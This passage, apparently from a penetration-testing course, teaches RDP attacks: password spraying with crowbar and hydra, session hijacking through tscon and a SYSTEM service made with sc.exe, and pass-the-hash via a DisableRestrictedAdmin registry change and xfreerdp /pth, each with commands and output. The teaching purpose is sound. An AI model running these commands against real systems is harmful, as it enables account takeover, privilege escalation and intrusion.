Since RDP takes user credentials for authentication, one common attack vector against the RDP protocol is password guessing. Although it is not common, we could find an RDP service without a password if there is a misconfiguration.

One caveat on password guessing against Windows instances is that you should consider the client's password policy. In many cases, a user account will be locked or disabled after a certain number of failed login attempts. In this case, we can perform a specific password guessing technique called Password Spraying. This technique works by attempting a single password for many usernames before trying another password, being careful to avoid account lockout.

Crowbar - RDP Password Spraying

neutron@kali[/kali]# crowbar -b rdp -s -U users.txt -c 'password123'

2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying
2022-04-07 15:35:52 RDP-SUCCESS : - administrator:password123
2022-04-07 15:35:52 STOP

Hydra - RDP Password Spraying

neutron@kali[/kali]# hydra -L usernames.txt -p 'password123' rdp

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-25 21:44:52
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://
[3389][rdp] host:   login: administrator   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-25 21:44:56

Protocol Specific Attacks

Let's imagine we successfully gain access to a machine and have an account with local administrator privileges. If a user is connected via RDP to our compromised machine, we can hijack the user's remote desktop session to escalate our privileges and impersonate the account. In an Active Directory environment, this could result in us taking over a Domain Admin account or furthering our access within the domain.

RDP Session Hijacking

As shown in the example below, we are logged in as the user juurena (UserID = 2) who has Administrator privileges. Our goal is to hijack the user lewen (User ID = 4), who is also logged in via RDP.


To successfully impersonate a user without their password, we need to have SYSTEM privileges and use the Microsoft tscon.exe binary that enables users to connect to another desktop session. It works by specifying which SESSION ID (4 for the lewen session in our example) we would like to connect to which session name (rdp-tcp#13, which is our current session). The following command will open a new console as the specified SESSION_ID within our current RDP session:

C:\xyz> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

If we have local administrator privileges, we can use several methods to obtain SYSTEM privileges, such as PsExec or Mimikatz. A simple trick is to create a Windows service that, by default, will run as Local System and will execute any binary with SYSTEM privileges. We will use Microsoft sc.exe binary. First, pecify the service name (sessionhijack) and the binpath, which is the command we want to execute. Once we run the following command, a service named sessionhijack will be created.

C:\xyz> query user

>juurena               rdp-tcp#13          1  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          2  Active          *  8/25/2021 1:28 AM

C:\xyz> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"

[SC] CreateService SUCCESS


To run the command, we can start the sessionhijack service:

C:\xyz> net start sessionhijack

Once the service is started, a new terminal with the lewen user session will appear. With this new account, we can attempt to discover what kind of privileges it has on the network, and maybe we'll get lucky, and the user is a member of the Help Desk group with admin rights to many hosts or even a Domain Admin.


RDP Pass-The-Hash

We may want to access applications or software installed on a user's Windows system that is only available with GUI access during a penetration test. If we have plaintext credentials for the target user, it will be no problem to RDP into the system. However, what if we only have the NT hash of the user obtained from a credential dumping attack such as SAM database, and we could not crack the hash to reveal the plaintext password? In some instances, we can perform an RDP PtH attack to gain GUI access to the target system.

There are a few caveats to this attack:

Restricted Admin Mode, which is disabled by default, should be enabled on the target host; otherwise, we'll get an error.

This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa. It can be done using the following command:

C:\xyz> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f


Once the registry key is added, we can use xfreerdp with the option /pth to gain RDP access:

neutron@kali[/kali]# xfreerdp /v: /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9

[09:24:10:115] [1668:1669] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state            
[09:24:10:115] [1668:1669] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr                                   
[09:24:10:115] [1668:1669] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd                                  
[09:24:10:115] [1668:1669] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr                                 
[09:24:11:427] [1668:1669] [INFO][com.freerdp.primitives] - primitives autodetect, using optimized                               
[09:24:11:446] [1668:1669] [INFO][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex resetting error state
[09:24:11:446] [1668:1669] [INFO][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex resetting error state        
[09:24:11:464] [1668:1669] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[09:24:11:464] [1668:1669] [WARN][com.freerdp.crypto] - CN = dc-01.superstore.xyz                                                     
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] - VERSION ={                                                              
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] -        ProductMajorVersion: 6                                           
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] -        ProductMinorVersion: 1                                           
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] -        ProductBuild: 7601                                               
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] -        Reserved: 0x000000                                               
[09:24:11:464] [1668:1669] [INFO][com.winpr.sspi.NTLM] -        NTLMRevisionCurrent: 0x0F                                        
[09:24:11:567] [1668:1669] [INFO][com.winpr.sspi.NTLM] - negotiateFlags "0xE2898235"


This will not work against every Windows system we encounter, but it is always worth trying in a situation where we have an NTLM hash, know the user has RDP rights against a machine or set of machines, and GUI access would benefit us in some ways towards fulfilling the goal of our assessment.